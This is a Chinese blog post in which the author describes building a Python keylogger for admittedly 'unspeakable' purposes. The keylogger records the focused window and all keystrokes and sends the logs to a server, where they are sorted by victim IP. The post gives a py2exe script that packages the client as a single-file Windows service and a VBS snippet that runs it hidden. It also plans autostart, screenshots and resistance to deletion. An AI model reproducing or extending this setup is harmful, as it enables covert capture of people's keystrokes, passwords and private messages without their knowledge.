Python编写Keylogger

作者: 分类: Python,Programming 时间: 2016-09-25 评论: 暂无评论

最近出于一些“不可告人”的目的,走上了编写keylogger之路...

下面先来看一下目前写好的keylogger的效果。

keylogger.gif

能获取当前焦点所在窗口,并且各种输入、组合键之类的也都能记录到。

源代码和几个库文件已经发布在我的Github上面了,想学习的可以到上面去看。里面一些核心代码是参见乌云的那篇文章,其实也就是Python黑帽子一书中的。

Keylogger_client.py这个文件需要pyHookpythoncom库,这些在我Github上也都有打包上传了。

另外最后是把Keylogger_clinet.py这个文件打包成exe,所以需要py2exe,这里让我头疼了好一会了,这里建议,若想玩这个keylogger,并且向打包exe的话,最好是用2.7.x版本的python,最为方便。

装好之后要打包成exe需要先在同目录下新建一个文件,我这里用p2e.py,内容如下

#! /usr/bin/env python  
# -*- coding: utf-8 -*-  
#安装成windows服务的python脚本  
#内容:  
from distutils.core import setup  
import py2exe  
options = {"py2exe":{"compressed": 1, #压缩
    "optimize": 2,
    "bundle_files": 1 #所有文件打包成一个exe文件
}}  
setup(  
    service=["Keylogger_client"],
    options=options,  
    zipfile=None)

再用下面的命令,这样就能将python的文件打包成一个☝️exe文件:

python p2e.py py2exe

之后再辅以vbs脚本就能让python程序后台以服务的形式运行,vbs内容如下:

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c Keylogger", vbhid

目前来看,尚且存在几个问题有待后面解决。

  1. 我是以文件形式存放,日期为目录,文件名则是对应的IP,虽然每个线程单独处理,但是遇到NAT这种对外IP只有一个的多终端,会记录到同一个文件中,会产生混淆,现在想的解决办法是利用主机名之类的“唯一”标识的东西来作为文件名。
  2. 现在是用vbs来实现后台服务运行,可以直接用python代码写服务运行,这样最后就只有一个exe文件而不需要多余的vbs文件了
  3. 还得写个开机自启的功能

当然也有一些功能可以增加的,比如截屏,开机自启,防删....自行发挥。

后面如果有时间并且有需要的会,会再进行更新改进。

参考资料:

Python爬虫(三)-Socket网络编程

用py2exe打包成一个exe文件

windows下后台运行Python程序

如何逆向破解HawkEye keylogger键盘记录器,进入攻击者邮箱?

标签: Python

声明:文章基本原创,允许转载,但转载时必须以超链接的形式标明文章原始出处及作者信息。

添加新评论